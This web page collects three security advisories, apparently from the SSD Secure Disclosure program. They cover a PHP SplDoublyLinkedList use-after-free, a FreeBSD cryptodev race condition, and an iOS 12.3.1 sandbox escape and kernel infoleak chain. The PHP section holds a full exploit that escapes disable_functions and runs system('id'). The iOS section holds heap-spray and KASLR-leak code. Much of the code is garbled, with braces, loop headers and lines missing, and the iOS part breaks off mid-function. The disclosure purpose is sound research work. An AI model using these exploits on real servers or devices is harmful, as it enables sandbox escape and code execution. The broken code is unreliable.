SSD Advisory – PHP SplDoublyLinkedList UAF Sandbox Escape


Find out how a use after free vulnerability in PHP allows attackers that are able to run PHP code to escape disable_functions restrictions.

Vulnerability Summary

PHP’s SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP’s core (PHP version 5.3, in 2009). The UAF allows to escape the PHP sandbox and execute code. Such exploits are generally used to bypass PHP limitations such as disable_functions, safe_mode, etc.


An independent Security Researcher, Charles Fol (@cfreal_), has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

PHP version 8.0 (alpha)

PHP version 7.4.10 and prior (probably also future versions will be affected)

Vendor Response

According to our security classification, this is not a security issue –, because it requires very special exploit code on the server. If an attacker is able to inject code, there may be more serious issues than bypassing disable_functions (note that safe_mode is gone for many years).

Vulnerability Analysis

SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the “current” DLL element.

You can then call next() or prev() to make the DLL point to another element.

When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still
pointing to the associated element, even if it was removed from the list.

This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval’s destructor.

Code flow from input to the vulnerable condition

We create an SplDoublyLinkedList object $s with two values; the first one is an object with a specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator current element points to our object.
When we call $s->offsetUnset(0), it calls the underlying C function SPL_METHOD(SplDoublyLinkedList, offsetUnset) (in ext/spl/spl_dllist.c) which does the following:

  1. Remove the item from the doubly-linked list by setting
    element->prev->next = element->next
    element->next->prev = element->prev
    (effectively removing the item from the DLlist)
  2. Destroy the associated zval (llist->dtor)
  3. If intern->traverse_pointer points to the element (which is the case), reset the pointer to NULL.

On step 2, the __destruct method of our object is called. intern->traverse_pointer still points to the element. To trigger an UAF, we can do:

    1. Remove the second element of the DLlist by calling $s->offsetUnset(0).
      now, intern->traverse_pointer->next points to a freed location
    2. Call $s->next(): this effectively does intern->traverse_pointer = intern->traverse_pointer->next. Since this was freed just above, traverse_pointer points to a freed location.
    3. Using $s->current(), we can now access freed memory -> UAF

Suggested Fixes

intern->traverse_pointer needs to be cleared before destroying the zval, and the reference can be deleted afterwards. Something like this would do:

        was_traverse_pointer = 0;

        // Clear the current pointer
        if (intern->traverse_pointer == element) {
            intern->traverse_pointer = NULL;
            was_traverse_pointer = 1;

        if(llist->dtor) {

        if(was_traverse_pointer) {

        // In the current implementation, this part is useless, because
        // llist->dtor will UNDEF the zval before




# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.


define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;

function s2i(&$s, $p, $x=8)
    $i = 0;

        $i <<= 8;
        $i |= ord($s[$p+$j]);

    return $i;

class UAFTrigger
    function __destruct()
        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

        #"print('UAF __destruct: ' . "\n");
        # At this point every $dll->current points to the same freed chunk. We allocate
        # that chunk with a string, and fill the zval part
        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
        i2s($fake_dll_element, 0x00, 0x12345678); # ptr
        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
        # Each of these dlls current->next pointers point to the same location,
        # the string we allocated. When calling next(), our fake element becomes
        # the current value, and as such its rc is incremented. Since rc is at
        # the same place as zend_string.len, the length of the string gets bigger,
        # allowing to R/W any part of the following memory
        for($i = 0; $i <= NB_DANGLING; $i++)

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
            die('Exploit failed: fake_dll_element did not increase in size');
        $leaked_str_offsets = [];
        $leaked_str_zval = [];

        # In the memory after our fake element, that we can now read and write,
        # there are lots of zend_string chunks that we allocated. We keep three,
        # and we keep track of their offsets.
        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
            # If we find a string marker, pull it from the string list
            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
                $leaked_str_offsets[] = $offset;
                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
                if(count($leaked_str_zval) == 3)

        if(count($leaked_str_zval) != 3)
            die('Exploit failed: unable to leak three zend_strings');
        # free the strings, except the three we need
        $strs = null;

        # Leak adress of first chunk
        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

        # At this point we have 3 freed chunks of size 40, which we can read/write,
        # and we know their address.
        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

        # In the third one, we will allocate a DLL element which points to a zend_array
        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
        # Change the zval type from zend_object to zend_string
        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
        if(gettype($rw_dll[0]) != 'string')
            die('Exploit failed: Unable to change zend_array to zend_string');
        # We can now read anything: if we want to read 0x11223300, we make zend_string*
        # point to 0x11223300-0x10, and read its size using strlen()

        # Read zend_array->pDestructor
        $zval_ptr_dtor_addr = read($array_addr + 0x30);
        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

        # Use it to find zif_system
        $system_addr = get_system_address($zval_ptr_dtor_addr);
        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
        # In the second freed block, we create a closure and copy the zend_closure struct
        # to a string
        $rw_dll->push(function ($x) {});
        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
        $data = str_shuffle(str_repeat('A', 0x200));

        for($i = 0; $i < 0x138; $i += 8)
            i2s($data, $i, read($closure_addr + $i));
        # Change internal func type and pointer to make the closure execute system instead
        i2s($data, 0x38, 1, 4);
        i2s($data, 0x68, $system_addr);
        # Push our string, which contains a fake zend_closure, in the last freed chunk that
        # we control, and make the second zval point to it.
        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
        # Calling it now
        print('Running system("id");' . "\n");


class DanglingTrigger
    function __construct($i)
        $this->i = $i;

    function __destruct()
        global $dlls;
        #D print('__destruct: ' . $this->i . "\n");

class SystemExecutor extends ArrayObject
    function offsetGet($x)

 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,
 * and setting its type to zend_string, so that zend_string->len points to the value
 * we want to read.
function read($addr, $s=8)
    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

    $value = strlen($rw_dll[0]);

    if($s != 8)
        $value &= (1 << ($s << 3)) - 1;

    return $value;

function get_binary_base($binary_leak)
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++)
        $addr = $start - 0x1000 * $i;
        $leak = read($addr, 7);
        # ELF header
        if($leak == 0x10102464c457f)
            return $addr;
    # We'll crash before this but it's clearer this way
    die('Exploit failed: Unable to find ELF header');

function parse_elf($base)
    $e_type = read($base + 0x10, 2);

    $e_phoff = read($base + 0x20);
    $e_phentsize = read($base + 0x36, 2);
    $e_phnum = read($base + 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = read($header + 0x00, 4);
        $p_flags = read($header + 0x04, 4);
        $p_vaddr = read($header + 0x10);
        $p_memsz = read($header + 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;

    if(!$data_addr || !$text_size || !$data_size)
        die('Exploit failed: Unable to parse ELF');

    return [$data_addr, $text_size, $data_size];

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = read($data_addr + $i * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
        } else continue;

        $leak = read($data_addr + ($i + 4) * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
        } else continue;

        return $data_addr + $i * 8;

function get_system($basic_funcs)
    $addr = $basic_funcs;
    do {
        $f_entry = read($addr);
        $f_name = read($f_entry, 6);

        if($f_name == 0x6d6574737973) { # system
            return read($addr + 8);
        $addr += 0x20;
    } while($f_entry != 0);
    return false;

function get_system_address($binary_leak)
    $base = get_binary_base($binary_leak);
    print('ELF base: 0x' .dechex($base) . "\n");
    $elf = parse_elf($base);
    $basic_funcs = get_basic_funcs($base, $elf);
    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
    $zif_system = get_system($basic_funcs);
    return $zif_system;

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();

# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
    $dlls[$i] = new SplDoublyLinkedList();
    $dlls[$i]->push(new DanglingTrigger($i));

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
    i2s($strs[$i], 0, STR_MARKER);
    i2s($strs[$i], 8, $i, 7);

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());

# Trigger the bug on the first list

SSD Advisory – FreeBSD Use After Free due to Race Condition

Vulnerability Summary
In FreeBSD there is a cryptographic device module called cryptodev which is accessible by any user on the system. Due to an absence of a locking mechanism, an attacker is able to create a race condition in the device mechanism and trigger a Use After Free vulnerability. If performed correctly, an attacker is able to use this vulnerability to gain control of the kernel and gain access to the attacked machine.

An independent Security Researcher, Avi S., has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
FreeBSD 4.8

Vulnerability Details
Since FreeBSD 4.8, an in-tree cryptographic device module was included called cryptodev, found in the source tree under sys/opencrypto/cryptodev.c. This module creates a device /dev/crypto, which has permissions 666, making it globally accessible to any user.
Interaction with this driver occurs by calling the CRIOGET ioctl on the device. This allows users to create an instance of a cryptof device, which represents an instance of a device for a user, which is given back to the user as a file descriptor.
The resulting file descriptor can be used in subsequent calls, which are then handled by cryptof_ioctl. This ioctl handles session establishment between the hardware accelerators and the user, acting as a hardware abstraction layer (HAL) for the supported devices.

The bug itself has to do with the locking, or lack there of, in the ioctl handler for cryptof_ioctl, and similarly, cryptof_close. While locking exists in a few select portions of the code base, in general, most operations will occur unlocked.
This becomes an issue particularly around the session end, where operations are releasing memory. Racing a close() operation on a syscall with partically any other operation in the ioctl can give you the ability to trigger a use-after-free vulnerability.

The proof-of-concept exploit targets a race between cryptof_close, and the ioctl CIOCFSESSION. If the race wins then cryptof_ioctl should call csedelete on a released struct csession, or, cryptof_close will attempt to TAILQ_REMOVE a released struct csession from its linked list. There is also a spraying thread, which sprays fake struct csessions using the syscall mac_set_fd, which will create a heap allocation and copyin user supplied data, then subsequently error out due to invalid data being supplied and release it.
With all 3 threads going at the same time (in practice more are used to guarantee success), this allows us to get an invalid TAILQ_REMOVE, which will be used to overwrite the null_cdevsw.d_ioctl. A few threads will be spawned which will try to trigger this ioctl indefinitely to gain control of the instruction pointer.
However, due to the fact that the TAILQ_REMOVE procedure will also attempt to write to the value which is used for the overwrite, this race usually fails and instead we get an error attempting to write to the address. This however is just used for demonstration of the bug, and in practice this demo value could be replaced with a more useful pointer that could be written to.

Additional Notes
This race can be used to attack other commands in the ioctl, and while we briefly explored the possibility of attacking those commands, the double release case seemed like the path of least friction.
There is an additional bug in cryptodev which will create a massive allocation: this is the fact that mackeylen in struct session_op is a signed integer, so if set to 0xFFFFFFFF it will create a massive allocation, which additionally gets sign extended up to 64 bits. This triggers a bug in the large allocation function in the kernel malloc function, where size = roundup(size, PAGE_SIZE); which occurs in the large memory allocator causes it to overflow the size of the allocation.
Unfortunately this is most likely unexploitable (atleast from this vector), and instead it just causes a kernel panic on a dereference to an address that can’t be allocated.
Also note, there is a provided fake_cryptodev.h, which can be used for linting on a non-FreeBSD platform. You can use a flag passed into the compiler in to switch between the real and fake cryptodev.h files.

You can find the exploit on our Github repository:

SSD Advisory – iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE

Each year, as part of TyphoonCon; our All Offensive Security Conference, we are offering cash prizes for vulnerabilities and exploitation techniques found. At our latest hacking competition: TyphoonPwn 2019, an independent Security Researcher demonstrated three vulnerabilities to our team which were followed by our live demonstration on stage. The Researcher was awarded an amazing sum of 60,000$ USD for his discovery!
TyphoonCon will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes.
Vulnerability Summary
This post describes a series of vulnerabilities found in iOS 12.3.1, which when chained together allows execution of code in the context of the kernel.
An independent Security Researcher, 08Tc3wBB, has reported this vulnerability to SSD Secure Disclosure program during TyphoonPwn event and was awarded 60,000$ USD for his discovery.
Affected Systems
iOS 12.3.1
Vendor Response
Apple has fixed the vulnerabilities in iOS 13.2. For more information see HT210721 advisory.
Vulnerability Details
While the kernel has a large amount of userland-reachable functionality, much of this attack surface is not accessible due to sandboxing in iOS. By default, an app is only able to access about 10 drivers’ userclients, which is a relatively small amount of code. Therefore, first escaping the app sandbox can be highly beneficial in order to attack the kernel.

Escaping the Sandbox

In contrast to the kernel, many daemons running in userland are accessible via the default app sandbox. One such example is a daemon called MIDIServer ( This daemon allows apps and other services to interface with MIDI hardware which may be connected to the device.
The MIDIServer binary itself is fairly simple. It is a stub binary, and all of it’s functionality is actually stored in a library which is part of the shared cache (CoreMIDI): the main() function of MIDIServer simply calls MIDIServerRun().
CoreMIDI then sets up two sandbox-accessible Mach services, and The former is a typical MIG-based Mach server, which implements 47 methods (as of writing). however, is a custom implementation, used for transferring IO buffers between clients and the server.
Here is the main run thread for the io Mach server:

__int64 MIDIIOThread::Run(MIDIIOThread *this, __int64 a2, __int64 a3, int *a4)
  x0 = XMachServer::CreateServerPort("", 3, this + 140, a4);
  *(this + 36) = x0;
  if ( !*(this + 35) )
    server_port = x0;
    *(this + 137) = 1;
    while ( 1 )
      bufsz = 4;
      if ( XServerMachPort::ReceiveMessage(&server_port, &msg_cmd, &msg_buf, &bufsz) || msg_cmd == 3 )
      ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef(&v10, msg_buf);
      if ( v12 )
        if ( msg_cmd == 1 )
        else if ( msg_cmd == 2 )
      if ( v10 )
        applesauce::experimental::sync::LockFreeHashTable<unsigned int,BaseOpaqueObject *,(applesauce::experimental::sync::LockFreeHashTableOptions)1>::Lookup::~Lookup(&v11);
        LOBYTE(v10) = 0;
    x0 = XServerMachPort::~XServerMachPort(&server_port);
  return x0;

XServerMachPort::ReceiveMessage calls mach_msg with the MACH_RCV_MSG argument, waiting for messages on that port. The message contains a command ID and a length field, followed by the body of the message, which is parsed by the ReceiveMessage call. Three commands are available: command 1 will call ClientProcess::WriteDataAvailable, command 2 will call ClientProcess::EmptiedReadBuffer, and command 3 will exit the Mach server loop. The v12 object passed to the ClientProcess calls is found via ResolvedOpaqueRef. This method will take the 4-byte buffer provided in the message (the ID of the object) and perform a hashtable lookup, returning the object into a structure on the stack (the v12 variable denoted here lies within that structure).
The bug here is particularly nuanced, and lies within the ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef call.
The hashtable this method uses actually contains many different types of objects, not only those of the ClientProcess type. For example, objects created by the API methods MIDIExternalDeviceCreate and MIDIDeviceAddEntity are both stored in this hashtable.
Given the correct type checks are in-place, this would be no issue. However, there are actually two possible ways of accessing this hashtable:


The former, used for example in the _MIDIDeviceAddEntity method, contains the proper type checks:

midi_device = BaseOpaqueObject::ResolveOpaqueRef(&TOpaqueRTTI<MIDIDevice>::sRTTI, device_id);

The latter method, however, does not. This means that by providing the ID of an object of a different type, you can cause a type confusion in one of the ClientProcess calls, where the method is expecting an object of type ClientProcess *.
Let’s follow the call trace for the EmptiedReadBuffer call:

; __int64 MIDIIOThread::Run(MIDIIOThread *this)
BL              __ZN13ClientProcess17EmptiedReadBufferEv ; ClientProcess::EmptiedReadBuffer(x0) // `x0` is potentially type confused
; __int64 ClientProcess::EmptiedReadBuffer(ClientProcess *this)
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0
                ADD             X0, X0, #0x20 ; this
                BL              __ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv ; MIDIIORingBufferWriter::EmptySecondaryQueue(x0)
; bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
                STP             X28, X27, [SP,#-0x10+var_50]!
                STP             X26, X25, [SP,#0x50+var_40]
                STP             X24, X23, [SP,#0x50+var_30]
                STP             X22, X21, [SP,#0x50+var_20]
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X21, X0
                MOV             X19, X0 ; x19 = (MIDIIORingBufferWritter *)this
                LDR             X8, [X19,#0x58]!
                LDR             X8, [X8,#0x10]
                MOV             X0, X19
                BLR             X8

As you can see here, the EmptiedReadBuffer code path will effectively immediately dereference a couple of pointers within the type-confused object and branch to an address which can be attacker controlled. The call looks something like this: obj->0x78->0x10(obj->0x20).


In order to exploit this bug we can confuse the ClientProcess type with a MIDIEntity instance. MIDIEntity is of size 0x78, which makes it a perfect target as it means the first dereference that is performed on the object (at 0x78) will be in out of bounds memory. You could then align some controlled data after the MIDIEntity object, however because we are in userland there is a better way.
The MIDIObjectSetDataProperty API call will unserialize CoreFoundation objects into MIDIServer’s heap, so using this call we can spray CFData objects of size 0x90. The exploit then sends two Mach messages containing an OOL memory descriptor, mapped at the static address 0x29f000000 (for some reason it is required to send the message twice, else the memory will not be mapped; I am not sure on the cause of this). This memory is a large continuous CoW mapping which contains the ROP chain used later in exploitation, and importantly a function pointer located at the 0x10 offset to be dereferenced by the EmptySecondaryQueue code.
The following code sets up the CFData objects which are sprayed into MIDIServer’s heap:

  Prepare_bunch_keys(); // For iterating
  size_t spraybufsize = 0x90;
  void *spraybuf = malloc(spraybufsize);
  for(int i=0; i<spraybufsize; i+=0x8){
      *(uint64_t*)(spraybuf + i) = SPRAY_ADDRESS; // The 0x29f000000 address
  CFDataRef spraydata = CFDataCreate(kCFAllocatorDefault, spraybuf, spraybufsize);

And the heap is crafted here:

  // OSStatus MIDIClientCreate(CFStringRef name, MIDINotifyProc notifyProc, void *notifyRefCon, MIDIClientRef *outClient);
  uint32_t mclient_id = 0;
  MIDIClientCreate(CFSTR(""), useless_notify, NULL, &mclient_id);
  printf("MIDI Client ID: 0x%x\n", mclient_id);
  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &mdevice_id);
  printf("MIDI Device ID: 0x%x\n", mdevice_id);
  // OSStatus MIDIObjectSetDataProperty(MIDIObjectRef obj, CFStringRef propertyID, CFDataRef data);
  for (int i = 0; i < 300; i++)
      MIDIObjectSetDataProperty(mdevice_id, bunchkeys[i], spraydata); // Each call will unserialize one CFData object of size 0x90
  // Sends 1 OOL descriptor each with the spray memory mapping
  // OSStatus MIDIObjectRemoveProperty(MIDIObjectRef obj, CFStringRef propertyID);
  // Removes every other property we just added
  for (int i = 0; i < 300; i = i + 2)
      MIDIObjectRemoveProperty(mdevice_id, bunchkeys[i]); // Free's the CFData object, popping holes on the heap

At this point we now have 150 CFData allocations and 150 free’d holes of size 0x90, all containing the SPRAY_ADDRESS pointer. The next step is to fill one of these holes with a MIDIEntity object:

  uint32_t mentity_id = 0;
  MIDIDeviceAddEntity(mdevice_id, CFSTR(""), false, 0, 0, &mentity_id);
  printf("mentity_id = 0x%x\n", mentity_id);

If all has gone to plan, we should now have a chunk of memory on the heap where the first 0x78 bytes are filled with the valid MIDIEntity object, and the remaining 0x18 bytes are filled with SPRAY_ADDRESS pointers.
In order to trigger the bug we can call to the Mach server, with the ID of our target MIDIEntity object (mentity_id):

  // Sends msgh_id 0 with cmd 2 and datalen 4 (ClientProcess::EmptiedReadBuffer)

This will kick off the ROP chain on the Mach server thread in the MIDIServer process.
A simple failure check is then used, based on whether the ID of a new object is continuous to the object ID’s seen before triggering the bug:

  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t verifysucc_mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &verifysucc_mdevice_id);
  printf("verify_mdevice_id: 0x%x\n", verifysucc_mdevice_id);
  if (verifysucc_mdevice_id == mdevice_id + 2)
  // We failed, reattempting...
  printf("Try again\n");

If the object ID’s are not continuous, it means exploitation failed (ie. the daemon crashed), so the daemon is restarted via the MIDIRestart call and exploitation can be re-attempted.
I won’t cover in detail how the ROP chain works, however the basic idea is to call objc_release on a buffer within the SPRAY_ADDRESS memory mapping, with a fake Objective-C object crafted at this address, on which the release method will be executed. A chain-calling primitive is then set up, with the target goal of opening 3 userclients, and hanging in a mach_msg_receive call to later overwrite some memory via vm_read_overwrite when a message is received — this is utilized later in kernel exploitation.
It is to note that for this ROP-based exploitation methodology a PAC bypass would be required on A12 and newer processors (or ideally, a different exploitation methodology).
The userclients fetched from MIDIServer are AppleSPUProfileDriver, IOSurfaceRoot, and AppleAVE2Driver.

(Ab)using AppleSPUProfileDriver: Kernel ASLR Defeat

Via MIDIServer we are able to access the AppleSPUProfileDriver userclient. This userclient implements 12 methods, however we are only interested in the last: AppleSPUProfileDriverUserClient::extSignalBreak. Let’s take a look at the pseudocode to get a rough idea of what’s happening:

__int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
  __int64 dataQueueLock; // x19
  unsigned __int64 v8; // x0
  __int64 result; // x0
  int v10; // [xsp+8h] [xbp-48h]
  int v11; // [xsp+Ch] [xbp-44h]
  __int64 v12; // [xsp+10h] [xbp-40h]
  __int64 v13; // [xsp+38h] [xbp-18h]
  dataQueueLock = this->dataQueueLock;
  if ( this->dataQueue )
    v10 = 0;
    abs_time = mach_absolute_time();
    v12 = AppleSPUProfileDriver::absolutetime_to_sputime(this, abs_time);
    v11 = OSIncrementAtomic(&this->atomicCount);
    (*(*this->dataQueue + 0x88∂LL))();           // IOSharedDataQueue::enqueue(&v10, 0x30)
  result = IORecursiveLockUnlock(dataQueueLock);
  return result;

The function is fairly simple: it will take a lock, write some data to a buffer stored on the stack, and call IOSharedDataQueue::enqueue to submit that data to the queue, with a buffer size of 0x30. The way the stack is accessed here is not particularly clear, so let us instead look at the relevant parts of the disassembly:

; __int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
var_48          = -0x48
var_44          = -0x44
var_40          = -0x40
var_18          = -0x18
var_10          = -0x10
var_s0          =  0
                SUB             SP, SP, #0x60
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X20, X0
                ADRP            X8, #___stack_chk_guard@PAGE
                LDR             X8, [X8,#___stack_chk_guard@PAGEOFF]
                STUR            X8, [X29,#var_18]
                LDR             X19, [X0,#0x30B8]
                MOV             X0, X19
                BL              _IORecursiveLockLock
                LDR             X8, [X20,#0x90]
                CBZ             X8, branch_exit_stub
                STR             WZR, [SP,#0x50+var_48]
                BL              _mach_absolute_time
                MOV             X1, X0  ; unsigned __int64
                MOV             X0, X20 ; this
                BL              __ZN21AppleSPUProfileDriver23absolutetime_to_sputimeEy ; AppleSPUProfileDriver::absolutetime_to_sputime(ulong long)
                STR             X0, [SP,#0x50+var_40]
                MOV             W8, #0x30CC
                ADD             X0, X20, X8
                BL              _OSIncrementAtomic
                STR             W0, [SP,#0x50+var_44]
                LDR             X0, [X20,#0x90]
                LDR             X8, [X0]
                LDRAA           X9, [X8,#0x90]!
                MOVK            X8, #0x911C,LSL#48
                ADD             X1, SP, #0x50+var_48
                MOV             W2, #0x30
                BLRAA           X9, X8                        // Call to IOSharedDataQueue::enqueue
branch_exit_stub                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+38
                MOV             X0, X19 ; lock
                BL              _IORecursiveLockUnlock
                LDUR            X8, [X29,#var_18]
                ADRP            X9, #___stack_chk_guard@PAGE
                LDR             X9, [X9,#___stack_chk_guard@PAGEOFF]
                CMP             X9, X8
                B.NE            branch_stack_chk_fail
                MOV             W0, #0
                LDP             X29, X30, [SP,#0x50+var_s0]
                LDP             X20, X19, [SP,#0x50+var_10]
                ADD             SP, SP, #0x60
; ---------------------------------------------------------------------------
branch_stack_chk_fail                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+9C
                BL              ___stack_chk_fail

We can see here that the 32-bit value zero is stored to var_48, the result of the OSIncrementAtomic call is stored to var_44, and the absolutetime_to_sputime return value is stored to var_40. However, remember that the size 0x30 is provided to the IOSharedDataQueue::enqueue call? This means that any uninitialized stack data will be leaked into the shared dataqueue! So while this dataqueue may contain leaked data, there are no security implications unless we are able to access this data. However, IOSharedDataQueue’s are signed to be exactly that — shared. Let’s take a look at AppleSPUProfileDriverUserClient::clientMemoryForType:

__int64 AppleSPUProfileDriverUserClient::clientMemoryForType(AppleSPUProfileDriverUserClient *this, int type, unsigned int *options, IOMemoryDescriptor **memory)
  ret = 0xE00002C2LL;
  if ( !type )
    memDesc = AppleSPUProfileDriver::copyBuffer(this->provider);
    *memory = memDesc;
    if ( memDesc )
      ret = 0LL;
      ret = 0xE00002D8LL;
  return ret;
__int64 AppleSPUProfileDriver::copyBuffer(AppleSPUProfileDriver *this)
  dataQueueLock = this->dataQueueLock;
  memDesc = this->queueMemDesc;
  if ( memDesc )
    (*(*memDesc + 0x20LL))();                   // OSObject::retain
    buf = this->queueMemDesc;
    buf = 0LL;
  return buf;

So via IOConnectMapMemory64 we can map in the memory descriptor for this IOSharedDataQueue, which contains any data enqueue’d to it, including our leaked stack data! To finalize our understanding of this bug, let’s look at an example of leaked data from the queue:

30 00 00 00
00 00 00 00 78 00 00 80
c0 5a 0c 03 00 00 00 00
00 f0 42 00 e0 ff ff ff
50 b4 d8 3b e0 ff ff ff
80 43 03 11 f0 ff ff ff
00 00 00 00 00 00 00 00

The first dword you can see is the size field of the IODataQueueEntry struct (0x30 in this case), which precedes every chunk of data in the queue:

typedef struct _IODataQueueEntry{
    UInt32  size;
    UInt8   data[4];
} IODataQueueEntry;

Then we see the dword which is explicitly written to zero, the return value of the OSIncrementAtomic call (0x78), and the absolutetime_to_sputime value in the 3rd row. This data is then followed by 3 kernel pointers which are leaked off the stack. Specifically, we are interested in the 3rd pointer (0xfffffff011034380). From my testing (iPhone 8, iOS 12.4), this will always point into kernel’s __TEXT region, so by calculating the unslid pointer we are able to deduce the kernel’s slide. The full exploit for this infoleak can be seen below (some global variable definitions may be missing):

uint64_t check_memmap_for_kaslr(io_connect_t ioconn)
    kern_return_t ret;
    mach_vm_address_t map_addr = 0;
    mach_vm_size_t map_size = 0;
    ret = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);
    if (ret != KERN_SUCCESS)
        printf("IOConnectMapMemory64 failed: %x %s\n", ret, mach_error_string(ret));
        return 0x0;
    uint32_t search_val = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr
    uint64_t start_addr = map_addr;
    size_t search_size = map_size;
    while ((start_addr = (uint64_t)memmem((const void *)start_addr, search_size, &search_val, sizeof(search_val))))
        uint64_t tmpcalc = *(uint64_t *)(start_addr - 4) - INFOLEAK_ADDR;
        // kaslr offset always be 0x1000 aligned
        if ((tmpcalc & 0xFFF) == 0x0)
            return tmpcalc;
        start_addr += sizeof(search_val);
        search_size = (uint64_t)map_addr + search_size - start_addr;
    return 0x0;
mach_vm_offset_t get_kaslr(io_connect_t ioconn)
    uint64_t scalarInput = 1;
    // Allocte a new IOSharedDataQueue
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
    int kaslr_iter = 0;
    while (!kaslr)
